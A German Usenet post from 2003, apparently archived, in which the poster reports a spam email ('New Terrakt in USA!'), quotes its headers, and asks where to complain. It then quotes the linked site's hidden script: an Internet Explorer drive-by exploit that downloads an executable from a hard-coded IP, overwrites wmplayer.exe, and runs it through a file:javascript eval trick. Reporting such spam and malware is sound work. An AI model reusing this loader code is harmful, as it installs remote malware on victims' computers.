🚀 go-pugleaf

Heute hier eigelaufen.
Wo beschweren?

> Return-Path: <katayama@m3xico.com>
> Delivered-To: mailbox@mydomain
> Received: (qmail 31811 invoked by uid 408); 4 Dec 2003 14:49:03 -0000
> Received: from unknown (HELO ool-44c0bc0a.dyn.optonline.net)  
(68.192.188.10)
>   by srv1-8.ip-tech.ch with SMTP; 4 Dec 2003 14:49:03 -0000
> Received: from m3xico.com (m3xico-com.mr.outblaze.com [205.158.62.177])
> 	by ool-44c0bc0a.dyn.optonline.net (Postfix) with ESMTP id 52DC47C8C3
> 	for <sales@mydomain>; Thu, 04 Dec 2003 09:48:20 -0500
> Message-ID: <110001c3ba75$0099cdce$05bbbe72@m3xico.com>
> From: "Uninterested M. Accumulated" <katayama@m3xico.com>
> To: Sales <sales@mydomain>
> Subject: New Terrakt in USA!                                                                                                            
> CDuwC9X4t2xKjCXhfLM7
> Date: Thu, 04 Dec 2003 09:48:20 -0500
> MIME-Version: 1.0
> Content-Type: text/html
> Content-Transfer-Encoding: quoted-printable
> X-Priority: 1
> X-MSMail-Priority: High
> X-Mailer: Microsoft Outlook Express 6.00.2720.3000
> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106

In der verlinkten Website ist dies:

> <textarea id="code" style="display:none;">
> 
>     var x = new ActiveXObject("Microsoft.XMLHTTP");
>     x.Open("GET", "http://69.72.129.89/mstasks.exe",0); x.Send();
> 
>     var s = new ActiveXObject("ADODB.Stream");
>     s.Mode = 3;
>     s.Type = 1;
>     s.Open();
>     s.Write(x.responseBody);
> 
>     s.SaveToFile("C:\\Program Files\\Windows Media 
>     Player\\wmplayer.exe",2); location.href = "mms://";
> 
> </textarea>
> 
> <script language="javascript">
> 
>     function preparecode(code) {
>         result = '';
>         lines = code.split(/\r\n/);
>         for (i=0;i<lines.length;i++) {
> 
>             line = lines[i];
>             line = line.replace(/^\s+/,"");
>             a = line.replace(/^\s+/,"");
>             line = line.replace(/\s+$/,"");
>             line = line.replace(/'/g,"\\'");
>             line = line.replace(/[\\]/g,"\\\\");
>             line = line.replace(/[/]/g,"%2f");
> 
>             if (line != '') {
>                 result += line +'\\r\\n'; } }
>         return result; }
> 
>     function doit() {
>         mycode = preparecode(document.all.code.value);
>         myURL = "file:javascript:eval('" + mycode + "')";
>         window.open(myURL,"_media") 
>     }
> 
> 
>     window.open("error.jsp","_media");
> 
>     setTimeout("doit()", 5000);
> 
> 
> </script>
> 
> <OBJECT STYLE="display:none" DATA="downkiller.php"> </OBJECT>